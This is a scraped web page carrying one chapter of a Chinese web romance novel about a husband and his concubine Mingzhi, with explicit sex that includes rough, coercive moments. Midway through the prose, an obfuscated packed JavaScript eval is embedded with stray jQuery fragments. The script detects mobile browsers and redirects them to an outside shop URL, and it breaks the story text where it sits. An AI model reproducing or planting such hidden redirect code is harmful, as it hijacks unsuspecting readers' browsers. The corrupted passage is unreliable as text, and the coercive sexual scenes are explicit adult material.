默认冷灰
24号文字
方正启体

6. 房事过度

作者:睫毛精逃跑怪本书字数:K更新时间:
    腰间外衫刚系紧,明枝便从净室出来。拆了簪子的乌发缕缕挽在耳后,眉心点着一抹局促。


    “夫君。”


    裴朝郁瞧出:“要沐浴?”


    “嗯。”


    他拿起折扇,打开:“去吧。”


    裴朝郁身形高大,那净室离床榻不过他七八步的距离,即便是他现在不坐在床上,也能听着流水声。


    明枝有些燥,问他:“夫君可用过晚膳?厨房里菜还备着,我去叫人送些来?”


    “不必,用过了。”


    她追问:“茶点可要用些?”


    裴朝郁侧头闻了闻,道:“晚些又进过厨房?”


    明枝嗯了声:“给祖母煨了盅汤。”


    他摇着折扇,蹙眉嫌弃:“沐了浴再来伺候。”


    “……是”


    身上他昨夜留下的印记还未消散,明枝没敢泡太久,起身时都小心翼翼,深怕那滴滴答答的水珠声叫他听了去。


    长发绞到半干,明枝让小芙去给裴朝郁备水。


    “过来。”


    明枝理好衣襟,裴朝郁脱了鞋躺在榻上,闭着眼。


    她过去:“夫君可是觉着热?”


    裴朝郁是觉得热,尤其是明枝进去沐浴后,这屋子里充斥着他从不曾闻到的芳香。他只觉着,比在京时刺客用的迷香还叫人难以防备。


    他伸出手:“这手白天翻书太久有些酸痛,给我按按。”


    “好。”


    明枝如今早给他摇折扇般将椅子搬了过来,握住裴朝郁手腕,指腹用上了力气。


    裴朝郁睁开眼:“是手掌,你在按哪?”


    “……”


    手从腕处下移到虎口,明枝把他的手当作面团,时不时重重按两下。她指尖带着热气,裴朝郁掌心温度本就高,细细捏了会儿,身上跟起火似的。


    他忽地捏住她食指前端,不让动。


    明枝疑惑问:“夫君,怎么了?”


    裴朝郁松开:“换只手。”


    她道:“夫君侧身即可。”


    裴朝郁偏不,就这么直挺挺躺着,指使明枝:“自己爬上来。”


    这人不仅嘴巴臭,有时还特别不讲理。


    明枝故意从他鞋履上踩过去,留下浅浅的印子后才脱鞋往床上爬。裴朝郁腿伸得长将她前面挡住,明枝不得不弯腰越过去。可这人就是看准了她的小动作,趁着明枝不备右脚勾着她的腰用力一带,人便毫无防备摔倒在他身上。


    “哎。”


    额头撞到裴朝郁下巴,明枝听见他“嘶”了声,慌忙撑着他胸膛起身。


    “夫君可还好?”


    裴朝郁差点咬到舌头:“不好。”


    “可是伤到了?我去给夫君拿药。”


    明枝刚想起身,一条腿便从他腰侧抬起,便被裴朝郁眼疾手快抓握住,强制翻身将人按在身下。


    “夫君!”


    他啧了声:“一天到晚喊个没完,话怎么这么多?”


    姿势格外叫人羞耻,明枝手抵在他肩膀处拉开距离,解释:“夫君不想让我喊,我不喊就是了。”


    不喊?


    裴朝郁:“那还有没有规矩?”


    明枝没说话,肩被人放平后她枕着裴朝郁胳膊,视线落在他脖颈的滚动上,而后,里衣被解开。


    方才还急不可耐的人这会缓了动作,反拿扇子挑开她的衣服,露出一片白里透红的肌肤。昨晚他还真挺不是人的,东一块西一块的痕迹斑驳明显。


    裴朝郁眼底没有一丝愧疚,反倒是满腔得意倾泻而出。


    明枝想催他先去沐浴,不曾想下一秒,那扇子底端就摁在了心口的吻痕处。裴朝郁是用了力的,那处肌肤越陷越深,原本一小块红痕现下皮外又加了一层。


    明枝有些受不住,娇哼推他:“夫君,疼……”


    裴朝郁收了扇子,指腹摁上去点了点:“就这也疼。”


    “扇子太硬。”


    明枝不知道这话激起了何种反应,只觉落在身上的手更用力了。小衣快被掀翻之际裴朝郁又咬上她的耳朵,低喘着道:“挨棍子揍时怎么不说硬?”


    她被弄乱了声音:“我家里人疼我,从小到大都没有人用棍子打我。”


    “是吗?”裴朝郁掐着她下巴,威胁:“你夫君不是良人,惯会用棍子疼人。”


    明枝抓着他手背,抗议:“你打我我会告诉祖母,再告诉我二哥,叫他将你抓到衙门去。”


    裴朝郁笑了:“嗯,我等着。”


    话落,他毫无章法的吻落在明枝心口,下唇触到些柔软,还未深入便被人猛力推开。


    “你敢推我?”


    明枝心跳飞快,缩身躲进被子里,道:“夫君尚未沐浴,我不喜。”


    裴朝郁:“嫌弃我?”


    她有理:“方才夫君也嫌弃我了。”


    “……”一报还一报。


    裴朝郁:“等着。我不回来不准睡。”


    明枝才不听他的,待人走后她就摸索着将里衣系得紧紧的,放下床帐,自顾自睡去。


    这是裴朝郁二十一年来头次觉得沐浴如此浪费时间,擦了身从净室出来,明枝老老实实睡在里侧,半只手都不露出来。


    “真笨。”


    熄了半边蜡烛,裴朝郁翻身上床。明枝还未熟睡,背后贴上来一具滚烫的身体。那手窸窸窣窣探进她衣服里,找到打了暗扣的地方用力拽了两下,没拽开。


    “防我?”


    明枝红了耳朵:“我想睡觉。”


    撕拉一声,布料撕裂的声音从被子里传出,明枝羞恼转身推他:“裴朝郁!”


    这可是出嫁前王云芝才给她新做的小衣!


    他舒坦寻到位置,语气散漫:“敢直呼夫君名讳,明日就送你去祠堂抄写家规。”


    抄就抄!


    明枝气不过,还抬脚踹了他一下。


    裴朝郁欺身压过去,笑了两声:“行了,做完赔给你就是。”


    被子还搭在两个人身上,被他一通折腾明枝出了汗,蹬掉才发现,这不要脸的厮竟是光着上半身。


    “流氓……”


    裴朝郁扣住她的手:“你是我光明正大娶进门的,何来流氓一说?”


    明枝没敢看他腰腹的健壮平坦,闭着眼一副任人宰割的样子。


    许久后,她耳边的呼吸有了节奏和规律。一下一下的,烛光也跟着晃荡。今日……和昨夜很不一样。方才她是有些害怕的,但裴朝郁没了昨日的莽撞,还多了些温柔。


    他很喜欢亲她的脖颈,双手箍着明枝的肩膀,一度流连忘返。


    明枝说不上来是哪痒,娇泣着喊他:“夫君。”


    裴朝郁顿住不动了,完全是严丝合缝的状态。


    盯着她滴水的眼眸,问:“舒坦了?”


    明枝摇头又点头,伸出手:“夫君。”


    昨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512585|203058||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夜未给她的拥抱,裴朝郁今日补上了。


    明枝两条细软的胳膊环上他后颈,因出了汗的缘故粘着分都分不开。百转千回,裴朝郁发泄的方式就是咬她。咬她肩膀和耳朵,咬她心口和软桃。


    祖母不是给他招了个传宗接代的妾室,是讨了个千娇百媚的妖精。


    裴朝郁颇有些后悔,又觉着,大抵是没吃过肉的缘故。


    疲劳过度,明枝第二日醒来时窗外已经快亮了。


    她起身唤:“小芙。”


    身侧,裴朝郁已整理好衣襟,淡淡道:“不用去给祖母和母亲问早,可再睡半个时辰。”


    明枝哑声:“为何不用?”


    裴朝郁:“因着你,房事过度。”


    “裴朝郁!”


    反正已经直呼过名讳,明枝也将错就错了。真叫这厮把这缘故说出去,不等他休妻,她今日就自己走!


    他心情好,没计较。


    “祖母早就下过令不必日日请早,你去得勤,她也不喜。”至于周靖宁,裴朝郁又道:“母亲本就不喜欢你,你又只是个妾室,守好本分即可,何必如正室般整天在她跟前晃。”


    明枝瞧着他低下眉眼去,敛了话。


    她自认应当守好每一处规矩,不想这些规矩在裴朝郁眼里,竟是她以妾室身份操持正室之事。


    将那墨青色腰带在腰间束缚好,裴朝郁拿出一个鼓囊囊的钱袋,放在枕边道:“昨夜说了补给你的,得空去多定做些。要上好的布料,别一撕就坏又赖在我身上。”


    明枝:“再好的布料也抵不住夫君这般大的手劲。”


    裴朝郁挑眉看过去,她早已背身躺下,那钱袋子动都没动。


    人走后,明枝没听他的不去请早。拖着泛酸的身体洗漱好,准时出现在老夫人屋外。问候完,又去了周靖宁屋里。


    就这样早起伺候晚走问安持续了半月有余,赶着最后一波燥热,裴老夫人下了令许明枝回娘家探望一日。


    陈小荷当初嫁到县城一月有余才得许可回娘家,且是早上出发下午便往回赶。能在家歇上一晚,明枝已是欢喜又感激。


    “多谢祖母。”


    裴老夫人又道:“家中缺什么吃的用的,就让下人备好你一并带回去。多带些,咱们家大业大,寒酸了叫人笑话。”


    在这点上,周靖宁和老夫人持一样的想法。她再如何嫌弃明枝的身份,也不容许外人嚼裴府舌根子。


    回门前夜,明枝足足备了两辆马车的东西。瞧着她又把祖母赏的过冬布料拿出来装上,裴朝郁忍不住发问:“你要将这裴府搬空不成?”


    明枝回他:“两辆马车怎能搬空裴府?”


    搬不空裴府,也差不多搬空了她这小妾室的屋子。


    裴朝郁很不满:“那些我赏你的东西你怎的也往外拿?”


    明枝终于是觉着累了,坐到他身侧,问他:“夫君往后不赏我金银珠宝了吗?”


    “不赏。”


    “宅子给你建了,成亲前给的聘礼也够你那双亲一辈子吃穿不愁,胳膊肘还往外拐,赏你有意思?”


    明枝为他斟了盏茶:“夫君因为高兴才赏我,高兴不就有意思了吗?”


    裴朝郁:“强词夺理。”


    “明枝不敢。”


    他瞧她敢得很。


    说着,小芙将今日明枝要喝的药端了进来。上次大夫留的方子她已经喝了几天,还没觉得有什么变化。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)